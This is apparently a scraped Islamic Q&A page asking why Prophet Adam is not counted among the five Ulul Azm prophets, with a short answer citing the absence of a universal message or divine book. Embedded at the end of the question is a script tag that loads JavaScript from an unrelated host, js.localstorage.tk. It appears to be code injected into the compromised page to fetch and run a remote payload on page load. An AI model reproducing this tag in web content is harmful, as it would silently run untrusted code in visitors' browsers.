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Ulul Azam Prophets

Q:

Salaamun Alaykum

We have been taught in madressa that there are 5 Ulul Azam prophets (Prophet Nuh, Ibrahim, Musa, Isa and Muhammad (SAW)) and that they are Ulul Azam prophets because they were given a Shariah. If this is the case, then surely Prophet Adam should be amongst them. Was he not give a Shariah?<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>

A:

Ulul Azm or Arch prophets were those whose message was universal and were possessing a Sharia and a divine book. The world at the time of Prophet Adam (pbuh) was small and simple. He was not given universal message or a divine book. The religious observances were simple as well. So he is not considered among Ulul Azm prophets. For further reference, plz refer to:

http://www.al-islam.org/islamic-teachings-in-brief-allamah-tabatabai/ululazm-anbiya-arch-prophets-and-all-other-prophets

Kumail Rajani